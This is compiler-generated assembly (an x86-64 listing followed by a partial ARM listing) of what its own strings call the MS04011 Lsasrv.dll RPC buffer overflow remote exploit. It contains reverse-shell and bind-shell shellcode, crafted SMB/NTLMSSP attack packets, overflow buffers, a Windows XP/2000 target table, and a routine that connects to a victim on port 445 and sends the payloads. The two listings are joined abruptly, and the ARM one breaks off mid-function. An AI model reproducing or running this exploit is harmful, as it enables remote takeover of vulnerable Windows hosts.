	mov	DWORD PTR -35368[rbp], eax
	cmp	DWORD PTR -35368[rbp], -1
	jne	.L17
	lea	rdi, .LC14[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L17:
	mov	WORD PTR -35328[rbp], 2
	movzx	eax, WORD PTR -35382[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -35326[rbp], ax
	mov	rax, QWORD PTR -35336[rbp]
	mov	rax, QWORD PTR 24[rax]
	mov	rax, QWORD PTR [rax]
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR -35324[rbp], eax
	lea	rax, -35328[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	cdqe
	sal	rax, 6
	mov	rdx, rax
	lea	rax, ttarget[rip]
	add	rax, rdx
	lea	rdx, 4[rax]
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC15[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC16[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rcx, -35328[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	cmp	eax, -1
	jne	.L18
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC17[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
.L18:
	lea	rdi, .LC18[rip]
	call	puts@PLT
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 137
	lea	rsi, req1[rip]
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L19
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L19:
	lea	rsi, -35040[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 1600
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -35364[rbp], eax
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 168
	lea	rsi, req2[rip]
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L20
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L20:
	lea	rsi, -35040[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 1600
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -35364[rbp], eax
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 222
	lea	rsi, req3[rip]
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L21
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L21:
	lea	rsi, -35040[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 1600
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -35364[rbp], eax
	cmp	DWORD PTR -35396[rbp], 5
	jg	.L22
	cmp	DWORD PTR -35376[rbp], 0
	je	.L23
.L22:
	lea	rdi, .LC20[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -35380[rbp], 0
	jmp	.L24
.L25:
	mov	eax, DWORD PTR -35380[rbp]
	add	eax, 24
	add	eax, eax
	cdqe
	movzx	eax, BYTE PTR -35040[rbp+rax]
	movsx	eax, al
	mov	edi, eax
	call	putchar@PLT
	add	DWORD PTR -35380[rbp], 1
.L24:
	cmp	DWORD PTR -35380[rbp], 11
	jle	.L25
	mov	edi, 10
	call	putchar@PLT
	mov	edi, 0
	call	exit@PLT
.L23:
	lea	rdi, .LC21[rip]
	mov	eax, 0
	call	printf@PLT
	movzx	eax, BYTE PTR -35386[rbp]
	movsx	eax, al
	add	eax, 4
	movsx	rdx, eax
	lea	rsi, -35168[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L26
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L26:
	lea	rsi, -35040[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 1600
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -35364[rbp], eax
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 104
	lea	rsi, req5[rip]
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L27
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L27:
	lea	rsi, -35040[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 1600
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -35364[rbp], eax
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 160
	lea	rsi, req6[rip]
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L28
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L28:
	lea	rsi, -35040[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 1600
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -35364[rbp], eax
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	cmp	eax, 1
	je	.L29
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	cmp	eax, 2
	jne	.L30
.L29:
	lea	rax, -16848[rbp]
	mov	edx, 104
	lea	rsi, req8[rip]
	mov	rdi, rax
	call	memcpy@PLT
	lea	rax, -16848[rbp]
	add	rax, 104
	mov	rdx, rax
	lea	rax, -23856[rbp]
	mov	ecx, 7002
	mov	rsi, QWORD PTR [rax]
	mov	QWORD PTR [rdx], rsi
	mov	esi, ecx
	add	rsi, rdx
	lea	rdi, 8[rsi]
	mov	esi, ecx
	add	rsi, rax
	add	rsi, 8
	mov	rsi, QWORD PTR -16[rsi]
	mov	QWORD PTR -16[rdi], rsi
	lea	rdi, 8[rdx]
	and	rdi, -8
	sub	rdx, rdi
	sub	rax, rdx
	add	ecx, edx
	and	ecx, -8
	shr	ecx, 3
	mov	edx, ecx
	mov	edx, edx
	mov	rsi, rax
	mov	rcx, rdx
	rep movsq
	lea	rax, -8432[rbp]
	mov	edx, 112
	lea	rsi, req9[rip]
	mov	rdi, rax
	call	memcpy@PLT
	lea	rcx, -23856[rbp]
	add	rcx, 4244
	lea	rax, -8432[rbp]
	add	rax, 112
	mov	edx, 2654
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	lea	rax, -8432[rbp]
	add	rax, 2868
	mov	edx, 132
	lea	rsi, shit3[rip]
	mov	rdi, rax
	call	memcpy@PLT
	lea	rsi, -16848[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 4348
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L31
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L31:
	lea	rsi, -35040[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 1600
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -35364[rbp], eax
	lea	rsi, -8432[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 4060
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L33
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L30:
	lea	rax, -27936[rbp]
	mov	edx, 124
	lea	rsi, req7[rip]
	mov	rdi, rax
	call	memcpy@PLT
	lea	rax, -27936[rbp]
	add	rax, 124
	lea	rcx, -33440[rbp]
	mov	edx, 2000
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	lea	rax, -27936[rbp]
	add	rax, 2124
	mov	edx, 144
	lea	rsi, shit1[rip]
	mov	rdi, rax
	call	memcpy@PLT
	mov	BYTE PTR -24617[rbp], 0
	lea	rsi, -27936[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 3320
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L33
	lea	rdi, .LC19[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L33:
	lea	rdi, .LC18[rip]
	call	puts@PLT
	lea	rsi, -35040[rbp]
	mov	eax, DWORD PTR -35368[rbp]
	mov	ecx, 0
	mov	edx, 1600
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -35364[rbp], eax
	mov	eax, 0
	mov	rbx, QWORD PTR -24[rbp]
	sub	rbx, QWORD PTR fs:40
	je	.L35
	call	__stack_chk_fail@PLT
.L35:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"81397.c"
	.text
	.global	reverseshell
	.data
	.align	2
	.type	reverseshell, %object
	.size	reverseshell, 317
reverseshell:
	.ascii	"\353\020[K3\311f\271%\001\2004\013\231\342\372\353\005"
	.ascii	"\350\353\377\377\377pb\231\231\231\306\3758\251\231"
	.ascii	"\231\231\022\331\225\022\351\2054\022\361\221\022n\363"
	.ascii	"\235\300q\002\231\231\231{`\361\252\253\231\231\361"
	.ascii	"\356\352\253\306\315f\217\022q\363\235\300q\033\231"
	.ascii	"\231\231{`\030u\011\230\231\231\315\361\230\230\231"
	.ascii	"\231f\317\211\311\311\311\311\331\311\331\311f\317\215"
	.ascii	"\022A\361\346\231\231\230\361\233\231\235K\022U\363"
	.ascii	"\211\310\312f\317\201\034Y\354\323\361\372\364\375\231"
	.ascii	"\020\377\251\032u\315\024\245\275\363\214\3002{d_\335"
	.ascii	"\275\211\335g\335\275\244\020\305\275\321\020\305\275"
	.ascii	"\325\020\305\275\311\024\335\275\211\315\311\310\310"
	.ascii	"\310\363\230\310\310f\357\251\310f\317\235\022U\363"
	.ascii	"ff\250f\317\221\312f\317\205f\317\225\310\317\022\334"
	.ascii	"\245\022\315\261\341\232L\313\022\353\271\232l\252P"
	.ascii	"\320\3304\232\\\252B\226'\211\243O\355\221XR\224\232"
	.ascii	"C\331rh\242\206\354~\303\022\303\275\232D\377\022\225"
	.ascii	"\322\022\303\205\232D\022\235\022\232\\2\307\300Zq\231"
	.ascii	"fff\027\327\227u\353g*\2174@\234WvWy\371Rte\242@\220"
	.ascii	"l4u`3\371~\340_\340\000"
	.global	bindshell
	.align	2
	.type	bindshell, %object
	.size	bindshell, 405
bindshell:
	.ascii	"\353\020ZJ3\311f\271}\001\2004\012\231\342\372\353\005"
	.ascii	"\350\353\377\377\377p\225\230\231\231\303\3758\251\231"
	.ascii	"\231\231\022\331\225\022\351\2054\022\331\221\022A\022"
	.ascii	"\352\245\022\355\207\341\232j\022\347\271\232b\022\327"
	.ascii	"\215\252t\317\316\310\022\246\232b\022k\363\227\300"
	.ascii	"j?\355\221\300\306\032^\235\334{p\300\306\307\022T\022"
	.ascii	"\337\275\232ZHx\232X\252P\377\022\221\022\337\205\232"
	.ascii	"ZXx\233\232X\022\231\232Z\022c\022n\032_\227\022I\363"
	.ascii	"\232\300q\036\231\231\231\032_\224\313\317f\316e\303"
	.ascii	"\022A\363\234\300q\355\231\231\231\311\311\311\311\363"
	.ascii	"\230\363\233f\316u\022A^\236\233\231\235K\252Y\020\336"
	.ascii	"\235\363\211\316\312f\316i\363\230\312f\316m\311\311"
	.ascii	"\312f\316a\022I\032u\335\022m\252Y\363\211\300\020\235"
	.ascii	"\027{b\020\317\241\020\317\245\020\317\331\377^\337"
	.ascii	"\265\230\230\024\336\211\311\317\252P\310\310\310\363"
	.ascii	"\230\310\310^\336\245\372\364\375\231\024\336\245\311"
	.ascii	"\310f\316y\313f\316e\312f\316e\311f\316}\252Y5\034Y"
	.ascii	"\354`\310\313\317\312fK\303\3002{w\252YZqvgff\336\374"
	.ascii	"\355\311\353\366\372\330\375\375\353\374\352\352\231"
	.ascii	"\332\353\374\370\355\374\311\353\366\372\374\352\352"
	.ascii	"\330\231\334\341\360\355\315\361\353\374\370\375\231"
	.ascii	"\325\366\370\375\325\360\373\353\370\353\340\330\231"
	.ascii	"\356\352\253\306\252\253\231\316\312\330\312\366\372"
	.ascii	"\362\374\355\330\231\373\360\367\375\231\365\360\352"
	.ascii	"\355\374\367\231\370\372\372\374\351\355\231\372\365"
	.ascii	"\366\352\374\352\366\372\362\374\355\231\000"
	.global	req1
	.align	2
	.type	req1, %object
	.size	req1, 138
req1:
	.ascii	"\000\000\000\205\377SMBr\000\000\000\000\030S\310\000"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\377\376\000\000\000\000\000b\000\002PC NETWORK PRO"
	.ascii	"GRAM 1.0\000\002LANMAN1.0\000\002Windows for Workgr"
	.ascii	"oups 3.1a\000\002LM1.2X002\000\002LANMAN2.1\000\002"
	.ascii	"NT LM 0.12\000\000"
	.global	req2
	.align	2
	.type	req2, %object
	.size	req2, 169
req2:
	.ascii	"\000\000\000\244\377SMBs\000\000\000\000\030\007\310"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\000\377\376\000\000\020\000\014\377\000\244\000\004"
	.ascii	"\021\012\000\000\000\000\000\000\000 \000\000\000\000"
	.ascii	"\000\324\000\000\200i\000NTLMSSP\000\001\000\000\000"
	.ascii	"\227\202\010\340\000\000\000\000\000\000\000\000\000"
	.ascii	"\000\000\000\000\000\000\000\000W\000i\000n\000d\000"
	.ascii	"o\000w\000s\000 \0002\0000\0000\0000\000 \0002\0001"
	.ascii	"\0009\0005\000\000\000W\000i\000n\000d\000o\000w\000"
	.ascii	"s\000 \0002\0000\0000\0000\000 \0005\000.\0000\000\000"
	.ascii	"\000\000\000\000"
	.global	req3
	.align	2
	.type	req3, %object
	.size	req3, 223
req3:
	.ascii	"\000\000\000\332\377SMBs\000\000\000\000\030\007\310"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\000\377\376\000\010 \000\014\377\000\332\000\004\021"
	.ascii	"\012\000\000\000\000\000\000\000W\000\000\000\000\000"
	.ascii	"\324\000\000\200\237\000NTLMSSP\000\003\000\000\000"
	.ascii	"\001\000\001\000F\000\000\000\000\000\000\000G\000\000"
	.ascii	"\000\000\000\000\000@\000\000\000\000\000\000\000@\000"
	.ascii	"\000\000\006\000\006\000@\000\000\000\020\000\020\000"
	.ascii	"G\000\000\000\025\212\210\340H\000O\000D\000\000\201"
	.ascii	"\031jz\362\344I\034(\2570%t\020gSW\000i\000n\000d\000"
	.ascii	"o\000w\000s\000 \0002\0000\0000\0000\000 \0002\0001"
	.ascii	"\0009\0005\000\000\000W\000i\000n\000d\000o\000w\000"
	.ascii	"s\000 \0002\0000\0000\0000\000 \0005\000.\0000\000\000"
	.ascii	"\000\000\000\000"
	.global	req4
	.align	2
	.type	req4, %object
	.size	req4, 97
req4:
	.ascii	"\000\000\000\\\377SMBu\000\000\000\000\030\007\310\000"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\377\376\000\0100\000\004\377\000\\\000\010\000\001"
	.ascii	"\0001\000\000\\\000\\\0001\0009\0002\000.\0001\0006"
	.ascii	"\0008\000.\0001\000.\0002\0001\0000\000\\\000I\000P"
	.ascii	"\000C\000$\000\000\000?????\000\000"
	.global	req5
	.align	2
	.type	req5, %object
	.size	req5, 105
req5:
	.ascii	"\000\000\000d\377SMB\242\000\000\000\000\030\007\310"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\010\334\004\000\010@\000\030\377\000\336\336\000\016"
	.ascii	"\000\026\000\000\000\000\000\000\000\237\001\002\000"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\003"
	.ascii	"\000\000\000\001\000\000\000@\000\000\000\002\000\000"
	.ascii	"\000\003\021\000\000\\\000l\000s\000a\000r\000p\000"
	.ascii	"c\000\000\000\000"
	.global	req6
	.align	2
	.type	req6, %object
	.size	req6, 161
req6:
	.ascii	"\000\000\000\234\377SMB%\000\000\000\000\030\007\310"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\010\334\004\000\010P\000\020\000\000H\000\000\000\000"
	.ascii	"\004\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"T\000H\000T\000\002\000&\000\000@Y\000\020\\\000P\000"
	.ascii	"I\000P\000E\000\\\000\000\000\000\000\005\000\013\003"
	.ascii	"\020\000\000\000H\000\000\000\001\000\000\000\270\020"
	.ascii	"\270\020\000\000\000\000\001\000\000\000\000\000\001"
	.ascii	"\000j(\0319\014\261\320\021\233\250\000\300O\331.\365"
	.ascii	"\000\000\000\000\004]\210\212\353\034\311\021\237\350"
	.ascii	"\010\000+\020H`\002\000\000\000\000"
	.global	req7
	.align	2
	.type	req7, %object
	.size	req7, 125
req7:
	.ascii	"\000\000\014\364\377SMB%\000\000\000\000\030\007\310"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\010\334\004\000\010`\000\020\000\000\240\014\000\000"
	.ascii	"\000\004\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\000T\000\240\014T\000\002\000&\000\000@\261\014\020"
	.ascii	"\\\000P\000I\000P\000E\000\\\000\000\000\000\000\005"
	.ascii	"\000\000\003\020\000\000\000\240\014\000\000\001\000"
	.ascii	"\000\000\210\014\000\000\000\000\011\000\354\003\000"
	.ascii	"\000\000\000\000\000\354\003\000\000\000"
	.global	shit1
	.align	2
	.type	shit1, %object
	.size	shit1, 145
shit1:
	.ascii	"\225\024@\000\003\000\000\000|p@\000\001\000\000\000"
	.ascii	"\000\000\000\000\001\000\000\000\000\000\000\000\001"
	.ascii	"\000\000\000\000\000\000\000\001\000\000\000\000\000"
	.ascii	"\000\000\001\000\000\000\000\000\000\000\001\000\000"
	.ascii	"\000\000\000\000\000\001\000\000\000\000\000\000\000"
	.ascii	"\001\000\000\000\000\000\000\000|p@\000\001\000\000"
	.ascii	"\000\000\000\000\000\001\000\000\000\000\000\000\000"
	.ascii	"|p@\000\001\000\000\000\000\000\000\000\001\000\000"
	.ascii	"\000\000\000\000\000|p@\000\001\000\000\000\000\000"
	.ascii	"\000\000\001\000\000\000\000\000\000\000x\205\023\000"
	.ascii	"\253[\246\351\000"
	.global	req8
	.align	2
	.type	req8, %object
	.size	req8, 105
req8:
	.ascii	"\000\000\020\370\377SMB/\000\000\000\000\030\007\310"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\010\377\376\000\010`\000\016\377\000\336\336\000@\000"
	.ascii	"\000\000\000\377\377\377\377\010\000\270\020\000\000"
	.ascii	"\270\020@\000\000\000\000\000\271\020\356\005\000\000"
	.ascii	"\001\020\000\000\000\270\020\000\000\001\000\000\000"
	.ascii	"\014 \000\000\000\000\011\000\255\015\000\000\000\000"
	.ascii	"\000\000\255\015\000\000\000"
	.global	req9
	.align	2
	.type	req9, %object
	.size	req9, 113
req9:
	.ascii	"\000\000\017\330\377SMB%\000\000\000\000\030\007\310"
	.ascii	"\000\000\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\010\030\001\000\010p\000\020\000\000\204\017\000\000"
	.ascii	"\000\004\000\000\000\000\000\000\000\000\000\000\000"
	.ascii	"\000T\000\204\017T\000\002\000&\000\000@\225\017\000"
	.ascii	"\\\000P\000I\000P\000E\000\\\000\000\000\000\000\005"
	.ascii	"\000\000\002\020\000\000\000\204\017\000\000\001\000"
	.ascii	"\000\000l\017\000\000\000\000\011\000\000"
	.global	shit3
	.align	2
	.type	shit3, %object
	.size	shit3, 133
shit3:
	.ascii	"\000\000\000\000\232\250@\000\001\000\000\000\000\000"
	.ascii	"\000\000\001\000\000\000\000\000\000\000\001\000\000"
	.ascii	"\000\000\000\000\000\001\000\000\000\000\000\000\000"
	.ascii	"\001\000\000\000\000\000\000\000\001\000\000\000\000"
	.ascii	"\000\000\000\001\000\000\000\000\000\000\000\001\000"
	.ascii	"\000\000\000\000\000\000\232\250@\000\001\000\000\000"
	.ascii	"\000\000\000\000\001\000\000\000\000\000\000\000\232"
	.ascii	"\250@\000\001\000\000\000\000\000\000\000\001\000\000"
	.ascii	"\000\000\000\000\000\232\250@\000\001\000\000\000\000"
	.ascii	"\000\000\000\001\000\000\000\000\000\000\000\000"
	.global	ttarget
	.align	2
	.type	ttarget, %object
	.size	ttarget, 180
ttarget:
	.word	0
	.ascii	"WinXP Professional    [universal] lsass.exe \000"
	.space	5
	.space	2
	.word	16795136
	.word	1
	.ascii	"Win2k Professional    [universal] netrap.dll\000"
	.space	5
	.space	2
	.word	1964315196
	.word	2
	.ascii	"Win2k Advanced Server [SP4]       netrap.dll\000"
	.space	5
	.space	2
	.word	1964773948
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Usage:\012\000"
	.align	2
.LC1:
	.ascii	"%s <target> <victim IP> <bindport> [connectback IP]"
	.ascii	" [options]\012\012\000"
	.align	2
.LC2:
	.ascii	"Targets:\000"
	.align	2
.LC3:
	.ascii	" %d [0x%.8x]: %s\012\000"
	.align	2
.LC4:
	.ascii	"\012Options:\000"
	.align	2
.LC5:
	.ascii	" -t: Detect remote OS:\000"
	.align	2
.LC6:
	.ascii	" Windows 5.1 - WinXP\000"
	.align	2
.LC7:
	.ascii	" Windows 5.0 - Win2k\012\000"
	.text
	.align	2
	.global	usage
	.syntax unified
	.arm
	.fpu softvfp
	.type	usage, %function
usage:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r0, .L4
	bl	puts
	ldr	r1, [fp, #-16]
	ldr	r0, .L4+4
	bl	printf
	ldr	r0, .L4+8
	bl	puts
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L2
.L3:
	ldr	r1, .L4+12
	ldr	r2, [fp, #-8]
	mov	r3, r2
	lsl	r3, r3, #4
	sub	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r1, [r3]
	ldr	r0, .L4+12
	ldr	r2, [fp, #-8]
	mov	r3, r2
	lsl	r3, r3, #4
	sub	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r0, r3
	add	r3, r3, #56
	ldr	r0, [r3]
	ldr	r2, [fp, #-8]
	mov	r3, r2
	lsl	r3, r3, #4
	sub	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, .L4+12
	add	r3, r3, r2
	add	r3, r3, #4
	mov	r2, r0
	ldr	r0, .L4+16
	bl	printf
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L2:
	ldr	r3, [fp, #-8]
	cmp	r3, #2
	ble	.L3
	ldr	r0, .L4+20
	bl	puts
	ldr	r0, .L4+24
	bl	puts
	ldr	r0, .L4+28
	bl	puts
	ldr	r0, .L4+32
	bl	puts
	mov	r0, #0
	bl	exit
.L5:
	.align	2
.L4:
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	ttarget
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.size	usage, .-usage
	.section	.rodata
	.align	2
.LC9:
	.ascii	"\012MS04011 Lsasrv.dll RPC buffer overflow remote e"
	.ascii	"xploit v0.1\000"
	.align	2
.LC10:
	.ascii	"--- Coded by .::[ houseofdabus ]::. ---\012\000"
	.align	2
.LC11:
	.ascii	"\\\\%s\\ipc$\000"
	.align	2
.LC12:
	.ascii	"-t\000"
	.align	2
.LC13:
	.ascii	"\353\006\353\006\000"
	.align	2
.LC14:
	.ascii	"[-] gethostbyname \000"
	.align	2
.LC15:
	.ascii	"socket\000"
	.align	2
.LC16:
	.ascii	"[*] Target: IP: %s: OS: %s\012\000"
	.align	2
.LC17:
	.ascii	"[*] Connecting to %s:445 ... \000"
	.align	2
.LC18:
	.ascii	"\012[-] Sorry, cannot connect to %s:445. Try again."
	.ascii	"..\012\000"
	.align	2
.LC19:
	.ascii	"OK\000"
	.align	2
.LC20:
	.ascii	"[-] Send failed\000"
	.align	2
.LC21:
	.ascii	"[*] Detecting remote OS: \000"
	.align	2
.LC22:
	.ascii	"[*] Attacking ... \000"
	.align	2
.LC8:
	.ascii	"f\201\354\034\007\377\344\000"
	.align	2
.LC23:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 35312
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #35072
	sub	sp, sp, #244
	sub	r3, fp, #32768
	sub	r3, r3, #12
	str	r0, [r3, #-2540]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	str	r1, [r3, #-2544]
	ldr	r3, .L38
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-2520]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r2, .L38+4
	sub	r3, r3, #2464
	sub	r3, r3, #12
	ldm	r2, {r0, r1}
	stm	r3, {r0, r1}
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-2512]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	sub	r3, r3, #2528
	sub	r3, r3, #2
	ldr	r2, .L38+8
	strh	r2, [r3]	@ movhi
	ldr	r0, .L38+12
	bl	puts
	ldr	r0, .L38+16
	bl	puts
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2540]
	cmp	r3, #3
	bgt	.L7
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	ldr	r3, [r3]
	mov	r0, r3
	bl	usage
.L7:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	ldr	r3, [r3, #8]
	str	r3, [r2, #-2508]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #164
	ldr	r2, [r2, #-2508]
	ldr	r1, .L38+20
	mov	r0, r3
	bl	sprintf
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-2524]
	b	.L8
.L9:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	lsl	r2, r3, #1
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	add	r3, r1, r3
	sub	r3, r3, #2464
	sub	r3, r3, #4
	ldrb	r1, [r3]	@ zero_extendqisi2
	sub	r3, fp, #32768
	sub	r3, r3, #12
	add	r3, r3, r2
	mov	r2, r1
	strb	r2, [r3, #-2428]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	lsl	r3, r3, #1
	add	r3, r3, #1
	sub	r2, fp, #32768
	sub	r2, r2, #12
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #-2428]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	add	r3, r3, #1
	str	r3, [r2, #-2524]
.L8:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	cmp	r3, #39
	ble	.L9
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #44
	mov	r2, #96
	ldr	r1, .L38+24
	mov	r0, r3
	bl	memcpy
	sub	r4, fp, #35072
	sub	r4, r4, #12
	sub	r4, r4, #44
	add	r4, r4, #48
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #164
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	lsl	r2, r3, #1
	sub	r3, fp, #35072
